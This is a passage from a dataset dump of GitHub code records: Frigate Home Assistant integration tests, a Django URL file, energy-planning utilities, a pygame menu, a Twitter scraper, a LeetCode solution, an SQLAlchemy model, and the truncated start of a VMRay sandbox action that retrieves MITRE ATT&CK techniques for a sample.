}\n\n # Create fake entries with the old unique_ids.\n for platform, unique_id in old_unique_ids:\n assert entity_registry.async_get_or_create(\n platform, DOMAIN, unique_id, config_entry=config_entry\n )\n\n # Setup the integration.\n config_entry = await setup_mock_frigate_config_entry(\n hass, config_entry=config_entry\n )\n\n removed_unique_ids = {\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:motion_sensor:front_door_person\"),\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:motion_sensor:steps_person\"),\n }\n\n for platform, unique_id in removed_unique_ids:\n assert entity_registry.async_get_entity_id(platform, DOMAIN, unique_id) is None\n\n for platform, unique_id in old_unique_ids - removed_unique_ids:\n assert (\n entity_registry.async_get_entity_id(platform, DOMAIN, unique_id) is not None\n )\n\n\nasync def test_entry_rename_object_count_sensor(hass: HomeAssistant) -> None:\n \"\"\"Test cleanup of old motion sensor.\"\"\"\n entity_registry = er.async_get(hass)\n\n config_entry: MockConfigEntry = MockConfigEntry(\n entry_id=TEST_CONFIG_ENTRY_ID,\n domain=DOMAIN,\n data={CONF_HOST: \"http://host:456\"},\n title=\"Frigate\",\n version=2,\n )\n\n config_entry.add_to_hass(hass)\n\n old_unique_ids = {\n (\n \"binary_sensor\",\n f\"{TEST_CONFIG_ENTRY_ID}:occupancy_sensor:front_door_person\",\n \"binary_sensor.front_door_person_occupancy\",\n ),\n (\n \"sensor\",\n f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_camera\",\n \"sensor.front_door_camera_fps\",\n ),\n (\n \"sensor\",\n f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:front_door_person\",\n \"sensor.front_door_person_count\",\n ),\n }\n\n # Create fake entries with the old unique_ids.\n for platform, unique_id, _ in old_unique_ids:\n assert entity_registry.async_get_or_create(\n platform, DOMAIN, unique_id, config_entry=config_entry\n )\n\n # Setup the integration.\n config_entry = await setup_mock_frigate_config_entry(\n hass, config_entry=config_entry\n )\n\n renamed_unique_ids = {\n (\n \"sensor\",\n f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:front_door_person\",\n \"sensor.front_door_person_count\",\n ),\n }\n\n for platform, unique_id, entity_id in renamed_unique_ids:\n found_entity_id = entity_registry.async_get_entity_id(\n platform, DOMAIN, unique_id\n )\n assert found_entity_id is not None\n assert found_entity_id == entity_id\n\n for platform, unique_id, _ in old_unique_ids - renamed_unique_ids:\n assert (\n entity_registry.async_get_entity_id(platform, DOMAIN, unique_id) is not None\n )\n\n\nasync def test_startup_message(caplog: Any, hass: HomeAssistant) -> None:\n \"\"\"Test the startup message.\"\"\"\n\n await setup_mock_frigate_config_entry(hass)\n\n integration = await async_get_integration(hass, DOMAIN)\n assert integration.version in caplog.text\n assert \"This is a custom integration\" in caplog.text\n\n\nasync def test_entry_remove_old_image_height_option(hass: HomeAssistant) -> None:\n \"\"\"Test cleanup of old image height option.\"\"\"\n\n config_entry = create_mock_frigate_config_entry(\n hass, options={CONF_CAMERA_STATIC_IMAGE_HEIGHT: 42}\n )\n\n await setup_mock_frigate_config_entry(hass, config_entry)\n\n assert (\n CONF_CAMERA_STATIC_IMAGE_HEIGHT\n not in hass.config_entries.async_get_entry(config_entry.entry_id).options\n )\n\n\nasync def test_entry_remove_old_devices(hass: HomeAssistant) -> None:\n \"\"\"Test that old devices (not on the Frigate server) are removed.\"\"\"\n\n config_entry = create_mock_frigate_config_entry(hass)\n\n device_registry = dr.async_get(hass)\n entity_registry = er.async_get(hass)\n\n # Create some random old devices/entity_ids and ensure they get cleaned up.\n bad_device_id = \"bad-device-id\"\n bad_entity_unique_id = \"bad-entity-unique_id\"\n bad_device = device_registry.async_get_or_create(\n config_entry_id=config_entry.entry_id, identifiers={(DOMAIN, bad_device_id)}\n )\n entity_registry.async_get_or_create(\n domain=DOMAIN,\n platform=\"camera\",\n unique_id=bad_entity_unique_id,\n config_entry=config_entry,\n device_id=bad_device.id,\n )\n\n config_entry = await setup_mock_frigate_config_entry(hass)\n await hass.async_block_till_done()\n\n # Device: Ensure the master device is still present.\n assert device_registry.async_get_device(\n {get_frigate_device_identifier(config_entry)}\n )\n\n # # Device: Ensure the old device is removed.\n assert not device_registry.async_get_device({(DOMAIN, bad_device_id)})\n\n # Device: Ensure a valid camera device is still present.\n assert device_registry.async_get_device(\n {get_frigate_device_identifier(config_entry, \"front_door\")}\n )\n\n # Device: Ensure a valid zone is still present.\n assert device_registry.async_get_device(\n {get_frigate_device_identifier(config_entry, \"steps\")}\n )\n\n # Entity: Ensure the old registered entity is removed.\n assert not entity_registry.async_get_entity_id(\n DOMAIN, \"camera\", bad_entity_unique_id\n )\n\n # Entity: Ensure an entity for a valid camera remains.\n assert entity_registry.async_get_entity_id(\n \"camera\",\n DOMAIN,\n get_frigate_entity_unique_id(config_entry.entry_id, \"camera\", \"front_door\"),\n )\n\n # Entity: Ensure an entity for a valid zone remains.\n assert entity_registry.async_get_entity_id(\n \"sensor\",\n DOMAIN,\n get_frigate_entity_unique_id(\n config_entry.entry_id, \"sensor_object_count\", \"steps_person\"\n ),\n )\n\n\nasync def test_entry_rename_entities_with_unusual_names(hass: HomeAssistant) -> None:\n \"\"\"Test that non-simple names work.\"\"\"\n # Test for: https://github.com/blakeblackshear/frigate-hass-integration/issues/275\n\n config: dict[str, Any] = copy.deepcopy(TEST_CONFIG)\n\n # Rename one camera.\n config[\"cameras\"][\"Front-door\"] = config[\"cameras\"][\"front_door\"]\n del config[\"cameras\"][\"front_door\"]\n\n client = create_mock_frigate_client()\n client.async_get_config = AsyncMock(return_value=config)\n\n config_entry = create_mock_frigate_config_entry(hass)\n unique_id = get_frigate_entity_unique_id(\n config_entry.entry_id,\n \"sensor_object_count\",\n \"Front-door_person\",\n )\n\n entity_registry = er.async_get(hass)\n entity_registry.async_get_or_create(\n domain=\"sensor\",\n platform=DOMAIN,\n unique_id=unique_id,\n config_entry=config_entry,\n suggested_object_id=\"front_door_person\",\n )\n\n # Verify the entity name before we load the config entry.\n entity_id = entity_registry.async_get_entity_id(\"sensor\", DOMAIN, unique_id)\n assert entity_id == \"sensor.front_door_person\"\n\n # Load the config entry.\n config_entry = await setup_mock_frigate_config_entry(\n hass, config_entry=config_entry, client=client\n )\n await hass.async_block_till_done()\n\n # Verify the rename has correctly occurred.\n entity_id = entity_registry.async_get_entity_id(\"sensor\", DOMAIN, unique_id)\n assert entity_id == \"sensor.front_door_person_count\"\n","repo_name":"blakeblackshear/frigate-hass-integration","sub_path":"tests/test_init.py","file_name":"test_init.py","file_ext":"py","file_size_in_byte":18011,"program_lang":"python","lang":"en","doc_type":"code","stars":500,"dataset":"github-code","pt":"91"} +{"seq_id":"41319362704","text":"from django.conf.urls import patterns, include, url\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.conf import settings\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'orderprocess.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n\turl(r'^orderprocess/','api.views.orderprocessing'),\n\turl(r'^client/','api.views.clientid'),\n\turl(r'^billings/','api.views.billings'),\n\turl(r'^showorderprocess/','api.views.show_process_data'),\n\turl(r'^clientdetails/','api.views.clientdetails_view'),\n\turl(r'^billingdetails/','api.views.billings_view'),\n\turl(r'^generatepdf/','api.views.generate_pdf_view'),\t\n\turl(r'^invoicedetails/','api.views.invoice_view'),\n\turl(r'^invoice/','api.views.invoice'),\n)\n","repo_name":"manishy635/orderprocess","sub_path":"orderprocess/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"670560360","text":"import os, re, argparse, yaml\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom datetime import datetime, timezone, timedelta\r\nimport pytz\r\n\r\n\r\ndef get_args():\r\n # Store all parameters for easy retrieval\r\n parser = argparse.ArgumentParser(description = 'fixed&flexible')\r\n parser.add_argument('--params_filename',\r\n type=str,\r\n default='params.yaml',\r\n help = 'Loads model parameters')\r\n args = parser.parse_args()\r\n config = yaml.load(open(args.params_filename), Loader=yaml.FullLoader)\r\n for k,v in config.items():\r\n args.__dict__[k] = v\r\n return args\r\n\r\ndef get_nodal_inputs(args, lan_tlnd_out):\r\n pue_num = lan_tlnd_out.NumPUE\r\n if pue_num > 0:\r\n nodal_load_input = pd.DataFrame({\"domestic_load_customers_no\": [lan_tlnd_out.NumStructures-pue_num]+ [0]*(pue_num-1),\r\n \"irrigation_area_ha\": [0]*pue_num,\r\n \"com_power_kw\": [args.com_power_kw]*pue_num,\r\n \"com_wk_hours_per_day\": [args.com_wk_hours_per_day]*pue_num})\r\n else:\r\n nodal_load_input = pd.DataFrame({\"domestic_load_customers_no\": [lan_tlnd_out.NumStructures-pue_num],\r\n \"irrigation_area_ha\": [0],\r\n \"com_power_kw\": [0],\r\n \"com_wk_hours_per_day\": [0]})\r\n return nodal_load_input\r\n\r\ndef get_fixed_load(args):\r\n fixed_load = np.array(pd.read_csv(f'{args.data_dir}/{args.fixed_load_dir}/paloga_fixed_load.csv', index_col=0))[:, 0]\r\n # files_path = f'{args.data_dir}/{args.fixed_load_dir}'\r\n # system_customers = os.listdir(files_path)\r\n # system_customers = [f for f in system_customers if f.endswith('.csv')].sort()\r\n # nodal_fixed_load = np.zeros((args.num_hour_fixed_load, len(system_customers)))\r\n # for i in range(len(system_customers)):\r\n # nodal_fixed_load[:, i] = pd.read_csv(os.path.join(files_path, system_customers[i]))\r\n return fixed_load\r\n\r\n\r\ndef annualization_rate(i, years):\r\n return (i*(1+i)**years)/((1+i)**years-1)\r\n\r\ndef get_cap_cost(args, years):\r\n # Annualize capacity costs for model\r\n annualization_solar = annualization_rate(args.i_rate, args.annualize_years_solar)\r\n annualization_battery_la = annualization_rate(args.i_rate, args.annualize_years_battery_la)\r\n annualization_battery_li = annualization_rate(args.i_rate, args.annualize_years_battery_li)\r\n annualization_battery_inverter = annualization_rate(args.i_rate, args.annualize_years_battery_inverter)\r\n annualization_diesel = annualization_rate(args.i_rate, args.annualize_years_diesel)\r\n # only solar will use piecewise capital cost\r\n solar_cap_cost = [years * annualization_solar * float(solar_cost) for solar_cost in args.solar_pw_cost_kw]\r\n solar_single_cap_cost = years * annualization_solar * float(args.solar_single_cost_kw)\r\n battery_la_cap_cost_kwh = years * annualization_battery_la * float(args.battery_la_cost_kwh)\r\n battery_li_cap_cost_kwh = years * annualization_battery_li * float(args.battery_li_cost_kwh)\r\n battery_inverter_cap_cost_kw = years * annualization_battery_inverter * float(args.battery_inverter_cost_kw)\r\n diesel_cap_cost_kw = years * annualization_diesel * float(args.diesel_cap_cost_kw) * args.reserve_req\r\n return solar_cap_cost, solar_single_cap_cost, battery_la_cap_cost_kwh, battery_li_cap_cost_kwh, \\\r\n battery_inverter_cap_cost_kw, diesel_cap_cost_kw\r\n\r\ndef load_timeseries(args, solar_region, mod_level):\r\n # Load solar & load time series, all region use the same\r\n solar_region = solar_region.lower()\r\n solar_po = pd.read_csv(f'{args.data_dir}/uganda_solar_ts/{solar_region}_solar_2019.csv')\r\n solar_po_3m, solar_po_3d = get_rep_solar_po_ts(solar_po)\r\n\r\n if mod_level == \"cap\":\r\n solar_po_hourly = np.array(solar_po_3d)[:,0]\r\n rain_rate_daily_mm_m2 = np.array(pd.read_csv(f'{args.data_dir}/rain_rate_mm_2014_2015_33d.csv', index_col=0))[:,0]\r\n if mod_level == \"ope\":\r\n solar_po_hourly = np.array(solar_po_3m)[:,0]\r\n rain_rate_daily_mm_m2 = np.array(pd.read_csv(f'{args.data_dir}/rain_rate_mm_2014_2015_3m.csv', index_col=0))[:,0]\r\n if mod_level == \"fixed_load\":\r\n solar_po_hourly = np.array(solar_po_3m)[:, 0]\r\n rain_rate_daily_mm_m2 = np.array(pd.read_csv(f'{args.data_dir}/rain_rate_mm_2014_2015_3m.csv', index_col=0))[:,0]\r\n dome_load_hourly_kw = np.array(pd.read_csv(f'{args.data_dir}/domestic_load_kw.csv', index_col=0))[:,0]\r\n\r\n return dome_load_hourly_kw, solar_po_hourly, rain_rate_daily_mm_m2\r\n\r\n\r\ndef get_connection_info(lan_tlnd_out):\r\n # connection is pre-solved with TLND model\r\n lv_length = lan_tlnd_out.LVLength\r\n mv_length = lan_tlnd_out.MVLength\r\n tx_num = lan_tlnd_out[\"Num Transformers\"]\r\n if mv_length==0:\r\n tx_num = 0\r\n meter_num = lan_tlnd_out[\"NumStructures\"]\r\n # lv_length = float(re.search(r'LVLength:(.*?)\\n',tx_f).group(1))\r\n # mv_length = float(re.search(r'MVLength:(.*?)\\n',tx_f).group(1))\r\n # tx_num = float(re.search(r'Num Transformers:(.*?)\\n',tx_f).group(1))\r\n # meter_num = float(re.search(r'NumStructures:(.*?)\\n',tx_f).group(1))\r\n # print(\"connection info\", lv_length, mv_length, tx_num)\r\n return lv_length, mv_length, tx_num, meter_num\r\n\r\ndef get_rep_solar_po_ts(solar_po):\r\n solar_po.time = [datetime.strptime(k, \"%Y%m%d:%H%M\") for k in solar_po.time]\r\n solar_po.time = solar_po.time.dt.tz_localize('UTC')\r\n solar_po.time = solar_po.time.dt.tz_convert('Africa/Kampala')\r\n\r\n solar_po = solar_po[[\"time\", \"P\"]]\r\n solar_po[\"P\"] = solar_po[\"P\"]/1000\r\n solar_po.columns = [\"time\", \"solar_po\"]\r\n\r\n # create a DataFrame with the new times\r\n new_times = pd.DataFrame({\r\n 'time': [\r\n datetime(2019, 1, 1, 0, 30, tzinfo=pytz.timezone('Etc/GMT-3')),\r\n datetime(2019, 1, 1, 1, 30, tzinfo=pytz.timezone('Etc/GMT-3')),\r\n datetime(2019, 1, 1, 2, 30, tzinfo=pytz.timezone('Etc/GMT-3')),\r\n ],\r\n 'solar_po': [0, 0, 0]\r\n })\r\n\r\n # concatenate the new DataFrame with the original DataFrame\r\n solar_po = pd.concat([new_times, solar_po], ignore_index=True)\r\n solar_po = solar_po[0:8760]\r\n solar_po.set_index('time', inplace=True)\r\n\r\n solar_po_s1 = solar_po[(solar_po.index >= pd.Timestamp(\"2019-04-01 00:00\", tzinfo=pytz.timezone('Etc/GMT-3'))) &\r\n (solar_po.index <= pd.Timestamp(\"2019-04-30 23:59\", tzinfo=pytz.timezone('Etc/GMT-3')))]\r\n solar_po_s2 = solar_po[(solar_po.index >= pd.Timestamp(\"2019-08-01 00:00\", tzinfo=pytz.timezone('Etc/GMT-3'))) &\r\n (solar_po.index <= pd.Timestamp(\"2019-08-30 23:59\", tzinfo=pytz.timezone('Etc/GMT-3')))]\r\n solar_po_s3 = solar_po[(solar_po.index >= pd.Timestamp(\"2019-12-01 00:00\", tzinfo=pytz.timezone('Etc/GMT-3'))) &\r\n (solar_po.index <= pd.Timestamp(\"2019-12-30 23:59\", tzinfo=pytz.timezone('Etc/GMT-3')))]\r\n\r\n solar_po_3m = pd.concat([solar_po_s1, solar_po_s2, solar_po_s3])\r\n\r\n medium_day = pickup_3d_solar_ts(0.5, solar_po_s1.solar_po)\r\n solar_po_s1_3d = solar_po_s1.iloc[(medium_day*24):(medium_day*24+72),:]\r\n\r\n medium_day = pickup_3d_solar_ts(0.5, solar_po_s2.solar_po)\r\n solar_po_s2_3d = solar_po_s2.iloc[(medium_day*24):(medium_day*24+72),:]\r\n\r\n medium_day = pickup_3d_solar_ts(0.5, solar_po_s3.solar_po)\r\n solar_po_s3_3d = solar_po_s3.iloc[(medium_day*24):(medium_day*24+72),:]\r\n\r\n solar_po_3d = pd.concat([solar_po_s1_3d, solar_po_s2_3d, solar_po_s3_3d])\r\n\r\n return solar_po_3m, solar_po_3d\r\n\r\ndef pickup_3d_solar_ts(solar_perc, solar_po_hourly):\r\n solar_daily = np.add.reduceat(np.array(solar_po_hourly), np.arange(0, len(solar_po_hourly), 24))\r\n solar_3_day = pd.DataFrame({'3_day_solar_sum':[np.sum(solar_daily[d:(d+3)]) for d in range(len(solar_daily)-2)]})\r\n medium_solar_day = solar_3_day.sort_values('3_day_solar_sum').index[int(np.round(len(solar_3_day)*float(solar_perc))-1)]\r\n return medium_solar_day\r\n'''\r\n### There are some previously used functions, I put them below in case we will revisit it ###\r\n##------------------------------------------------------------------------------------------##\r\n\r\ndef read_irrigation_area(args):\r\n irrigation_area_m2 = pd.read_csv(os.path.join(args.data_dir, 'region_{}'.format(str(args.region_no)), 'pts_area.csv'))[\"AreaSqM\"] * args.irrgation_area_ratio\r\n num_regions = len(irrigation_area_m2)\r\n return num_regions, irrigation_area_m2\r\n\r\ndef get_nodes_area(args, sce_sf_area_m2):\r\n # base on the config to get the nodes number and area\r\n if args.config == 0:\r\n num_nodes = 1\r\n irrigation_area_m2 = [0]\r\n elif args.config == 0.5:\r\n num_nodes, irrigation_area_m2 = read_irrigation_area(args)\r\n num_nodes = 1\r\n irrigation_area_m2 = [float(np.sum(irrigation_area_m2))]\r\n elif args.config == 1:\r\n num_nodes = 1\r\n irrigation_area_m2 = [sce_sf_area_m2]\r\n elif args.config == 2:\r\n num_nodes, irrigation_area_m2 = read_irrigation_area(args)\r\n elif args.config == 3 or args.config == 4:\r\n num_nodes, irrigation_area_m2 = read_irrigation_area(args)\r\n num_nodes = 1\r\n irrigation_area_m2 = [float(np.sum(irrigation_area_m2))]\r\n return num_nodes, irrigation_area_m2\r\n\r\ndef dry_season_solar_ts(args, solar_po_hourly):\r\n solar_daily = np.add.reduceat(solar_po_hourly, np.arange(0, len(solar_po_hourly), 24))\r\n solar_5_day = pd.DataFrame({'5_day_solar_sum':[np.sum(solar_daily[d:(d+5)]) for d in range(len(solar_daily)-4)]})\r\n solar_5_day_dry = solar_5_day[args.second_season_start:(args.second_season_end-3)]\r\n # get the 10 percentile solar 5-day sum in the dry season\r\n dry_season_solar_day = solar_5_day_dry.sort_values('5_day_solar_sum').index[int(np.round(len(solar_5_day_dry)*float(args.solar_ds_perc))-1)]\r\n print(\"dry season solar day\", dry_season_solar_day, \"sum\",solar_5_day.iloc[dry_season_solar_day])\r\n return dry_season_solar_day\r\n \r\n \r\ndef find_extreme_solar_period(args):\r\n # find the least 5 days solar potential during the irrigation seasons\r\n T = args.num_hours\r\n solar_pot_hourly = np.array(pd.read_excel(os.path.join(args.data_dir, 'solar_pot.xlsx'),\r\n index_col=None))[0:T,0]\r\n extreme_solar_start_day = 0\r\n for day in list(range(args.first_season_start, args.first_season_end - args.water_account_days + 2)) + \\\r\n list(range(args.second_season_start, args.second_season_end - args.water_account_days + 2)):\r\n if np.sum(solar_pot_hourly[day*24:(day+5)*24]) < \\\r\n np.sum(solar_pot_hourly[extreme_solar_start_day*24:(extreme_solar_start_day+5)*24]):\r\n extreme_solar_start_day = day\r\n return extreme_solar_start_day\r\n \r\n \r\ndef find_avg_solar(args):\r\n # find the average solar potnetial\r\n T = args.num_hours\r\n solar_pot_hourly = np.array(pd.read_excel(os.path.join(args.data_dir, 'solar_pot.xlsx'),\r\n index_col=None))[0:T,0]\r\n solar_pot_hourly_daily = solar_pot_hourly.reshape(int(T/24), 24)\r\n avg_solar_po_day = np.average(solar_pot_hourly_daily, axis=0)\r\n avg_solar_po = np.tile(avg_solar_po_day, args.water_account_days)\r\n return avg_solar_po\r\n \r\n \r\ndef read_tx_distance(args):\r\n tx_matrix_dist_m = pd.read_csv(os.path.join(args.data_dir, 'tx_matrix_dist_m.csv'), header=0, index_col=0)\r\n return tx_matrix_dist_m\r\ndef get_tx_tuples(args):\r\n cap_ann = annualization_rate(args.i_rate, args.annualize_years_trans)\r\n tx_matrix_dist_m = pd.read_csv(os.path.join(args.data_dir, 'tx_matrix_dist_m.csv'),header=0, index_col=0)\r\n tx_tuple_list = []\r\n # tuple list in the order: (pt1, pt2), distance, cost kw, loss\r\n for i in range(len(tx_matrix_dist_m)):\r\n for j in range(len(tx_matrix_dist_m.columns)):\r\n if tx_matrix_dist_m.iloc[i, j] > 0:\r\n tx_tuple_list.append(((i + 1, j + 1),\r\n tx_matrix_dist_m.iloc[i, j],\r\n args.num_year * cap_ann * args.trans_cost_kw_m *\r\n tx_matrix_dist_m.iloc[i, j],\r\n tx_matrix_dist_m.iloc[i, j] * float(args.trans_loss)))\r\n return tx_tuple_list\r\n\r\n'''","repo_name":"YUEZIWU/rural_energy_planning_model","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"38298718663","text":"import sys\r\n\r\nimport pygame\r\nimport pygame as pygame\r\n\r\nGreen = (0,255,0)\r\nRED = (255,0,0)\r\nBLUE = (0,0,255)\r\nWHITE = (255,255,255)\r\nPEACH = (249,149,123)\r\nBABYBLUE = (77,172,240)\r\nDKGRAY = (102,102,102)\r\nBLACK = (0,0,0)\r\n\r\npygame.init()\r\n\r\ndisplay_width = 800\r\ndisplay_height = 600\r\nscreen = pygame.display.set_mode((display_width, display_height))\r\n\r\n\r\n\r\nbg_image = pygame.image.load('background.jpg').convert()\r\nscreen.blit(bg_image, [0, 0])\r\n# pygame.display.flip()\r\n\r\nfont = pygame.font.SysFont('Calibri',40,True,False)\r\nsmallFont = pygame.font.SysFont('Calibri',15,True,False)\r\n\r\ntitle = font.render(\"AI ATTACKS!\", True, BLACK)\r\nscreen.blit(title,[300, 50])\r\n\r\nclock = pygame.time.Clock()\r\n\r\n\r\nclass Button:\r\n def __init__(self, x, y, width, height, color, surface):\r\n self.x = x\r\n self.y = y\r\n self.width = width\r\n self.height = height\r\n self.color = color\r\n self.surface = surface\r\n def is_pressed(self):\r\n mouse_position = pygame.mouse.get_pos()\r\n mouse_x = mouse_position[0]\r\n mouse_y = mouse_position[1]\r\n if mouse_x > self.x:\r\n if mouse_x < self.x + self.width:\r\n if mouse_y > self.y:\r\n if mouse_y < self.y + self.height:\r\n\r\n mouse_click = pygame.mouse.get_pressed()\r\n left_click = mouse_click[0]\r\n if left_click:\r\n self.color = (0,0,0)\r\n return True\r\n self.color = (230,230,230)\r\n return False\r\n\r\n def draw_button(self):\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y, self.width, self.height))\r\n pygame.display.flip()\r\n\r\n\r\n\r\n\r\n# 800 x 600\r\nstartButton = Button(200, 250, 400, 80, PEACH, screen)\r\nstartButton.draw_button()\r\nstartText = font.render(\"Play\", True, BLACK)\r\nscreen.blit(startText,[225,270])\r\n\r\nstoryButton = Button(200, 350, 400, 80, BABYBLUE, screen)\r\nstoryButton.draw_button()\r\nstoryText = font.render(\"Story\", True, BLACK)\r\nscreen.blit(storyText,[325, 350])\r\n\r\noptionsButton = Button(650, 500, 80, 40, DKGRAY, screen)\r\noptionsButton.draw_button()\r\noptionsText = smallFont.render(\"Options\", True, WHITE)\r\nscreen.blit(optionsText,[655,510])\r\n\r\nGRAY = (153,153,153)\r\nbackButton = Button(50, 50, 150, 80, GRAY, screen)\r\nbackText = font.render(\"Go back\", True, BLACK)\r\n\r\n\r\nplayText = font.render(\"GAME SCREEN\", True, WHITE)\r\nstoryScreen = font.render(\"STORY SCREEN\", True, WHITE)\r\noptionsScreen = font.render(\"OPTIONS SCREEN, TOO LAZY TO WRITE A STORY\", True, WHITE)\r\n\r\n\r\ndef game_loop():\r\n\r\n gameExit = False\r\n\r\n while not gameExit:\r\n for event in pygame.event.get():\r\n print(event)\r\n if event.type == pygame.QUIT:\r\n gameExit = True\r\n\r\n if startButton.is_pressed():\r\n screen.fill(BLACK)\r\n screen.blit(playText, [250, 100])\r\n backButton.draw_button()\r\n screen.blit(backText, [10, 10])\r\n print(\"PRESSED B1\")\r\n\r\n if storyButton.is_pressed():\r\n screen.fill(BLACK)\r\n screen.blit(storyScreen, [250,100])\r\n if optionsButton.is_pressed():\r\n screen.fill(BLACK)\r\n screen.blit(optionsScreen, [150,100])\r\n\r\n\r\n pygame.display.flip()\r\n clock.tick(60)\r\n\r\n\r\ngame_loop()\r\npygame.quit()\r\nsys.exit()\r\n\r\n\r\n\r\n","repo_name":"CSUF-CPSC481-AI-game-project/menu","sub_path":"menu_screens_buttons.py","file_name":"menu_screens_buttons.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"4215170586","text":"import collections\nimport datetime as dt\nfrom twitterscraper.query import query_tweets_from_user\nimport pandas as pd\n\nclass JSONEncoder(json.JSONEncoder):\n def default(self, obj):\n if hasattr(obj, '__json__'):\n return obj.__json__()\n elif isinstance(obj, collections.Iterable):\n return list(obj)\n elif isinstance(obj, dt.datetime):\n return obj.isoformat()\n elif hasattr(obj, '__getitem__') and hasattr(obj, 'keys'):\n return dict(obj)\n elif hasattr(obj, '__dict__'):\n return {member: getattr(obj, member)\n for member in dir(obj)\n if not member.startswith('_') and\n not hasattr(getattr(obj, member), '__call__')}\n\n return json.JSONEncoder.default(self, obj)\n \ndef get_profile_tweets(handle, filename):\n profile = query_tweets_from_user(handle, limit=10)\n print('Loading...')\n with open(filename, \"w\", encoding=\"utf-8\") as output:\n json.dump(profile, output, cls=JSONEncoder)\n profile_dataframe = pd.read_json('my.json', encoding='utf-8')\n profile_dataframe.to_csv('profile_tweets.csv')\n print('Loaded') \n","repo_name":"Rajathbharadwaj/Twitter-Scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"8738419037","text":"class Solution(object):\n def longestCommonPrefix(self, strs):\n result = ''\n if strs == []:\n return result\n if len(strs) == 1:\n return strs[0]\n for i in range(len(strs[0])):\n count = 0\n for j in range(len(strs)-1):\n if i == len(strs[j]) or i == len(strs[j+1]):\n return result\n if strs[j][i] != strs[j+1][i]:\n return result\n result = result + strs[j][i]\n return result\nstrs = ['a']\ns = Solution()\nprint(s.longestCommonPrefix(strs))","repo_name":"xiaoling000666/python","sub_path":"Algorithm/最长公共前缀.py","file_name":"最长公共前缀.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"4592050262","text":"from app import db\n\n\nclass Logger(db.Model):\n id = db.Column(db.Integer, db.Sequence('logger_id_seq'), autoincrement=True, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('user.id'))\n user = db.relationship('User', backref=db.backref('loggers', lazy='dynamic'))\n logger_role_id = db.Column(db.Integer, db.ForeignKey('logger_role.id'))\n logger_role = db.relationship('LoggerRole', backref=db.backref('loggers', lazy='dynamic'))\n\n def __init__(self, user, logger_role):\n self.user = user\n self.logger_role = logger_role\n\n def __repr__(self):\n return ''.format(\n id=self.id,\n user_id=self.user_id,\n logger_role_id=self.logger_role_id\n )\n","repo_name":"command-tab/logger_role_counter","sub_path":"app/models/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"1625165959","text":"# Import built-in libraries\nimport json\n\n# Import Siemplify libraries\nfrom SiemplifyAction import SiemplifyAction\nfrom SiemplifyUtils import output_handler\nfrom SiemplifyDataModel import InsightSeverity, InsightType\nfrom ScriptResult import EXECUTION_STATE_COMPLETED, EXECUTION_STATE_FAILED\n\n# Import conntector related libraries\nfrom Conf import VMRayConfig, INTEGRATION_NAME, GET_SAMPLE_ATTACK_SCRIPT_NAME\nfrom VMRayApiManager import VMRay\n\n\ndef prepare_techniques_for_insight(response_dict):\n message = \"
\"\n for technique in response_dict:\n technique_text = \"%s - %s\\n\" % (technique[\"technique_id\"],technique[\"technique\"])\n technique_text += \"Tactics: %s\\n\" % \",\".join(technique[\"tactics\"])\n technique_text += \"VTI's: %s\\n\" % \",\".join(technique[\"vtis\"].keys())\n message += technique_text + \"
\"\n return message\n\n\n@output_handler\ndef main():\n siemplify = SiemplifyAction()\n siemplify.script_name = GET_SAMPLE_ATTACK_SCRIPT_NAME\n \n siemplify.LOGGER.info(\"----------------- Main - Param Init -----------------\")\n \n # Initializing integration parameters for Get Sample Mitre Att&ck Techniques Action\n api_key = siemplify.extract_configuration_param(provider_name=INTEGRATION_NAME, \n param_name=\"API_KEY\",\n input_type=str,\n is_mandatory=True,\n print_value=False)\n url = siemplify.extract_configuration_param(provider_name=INTEGRATION_NAME,\n param_name=\"URL\",\n input_type=str,\n is_mandatory=True,\n print_value=True)\n ssl_verify = siemplify.extract_configuration_param(provider_name=INTEGRATION_NAME, \n param_name=\"SSL_VERIFY\",\n input_type=bool,\n is_mandatory=True,\n print_value=True)\n \n # initializing action specific parameters for Get Sample Mitre Att&ck Techniques Action\n sample_id = siemplify.extract_action_param(param_name=\"SAMPLE_ID\",\n input_type=str,\n is_mandatory=True,\n print_value=True)\n create_insight = siemplify.extract_action_param(param_name=\"CREATE_INSIGHT\",\n input_type=bool,\n is_mandatory=False,\n print_value=True)\n \n VMRayConfig.API_KEY = api_key\n VMRayConfig.URL = url\n VMRayConfig.SSL_VERIFY = ssl_verify\n \n siemplify.LOGGER.info(\"----------------- Main - Started -----------------\")\n \n # Initializing VMRay API Instance\n vmray = VMRay(siemplify.LOGGER, VMRayConfig)\n \n try:\n # Authenticating VMRay API\n vmray.authenticate()\n \n # Doing healtcheck for VMRay API endpoint\n vmray.healthcheck()\n \n # Retrieving sample attack techniques with given sample_id\n sample_attack_techniques = vmray.get_sample_mitre_attack_techniques(sample_id)\n \n # Checking and parsing sample attack techniques\n if sample_attack_techniques is not None:\n \n # Parsing sample attack techniques\n parsed_attack_techniques = vmray.parse_sample_mitre_attack_techniques(sample_attack_techniques)\n \n # used 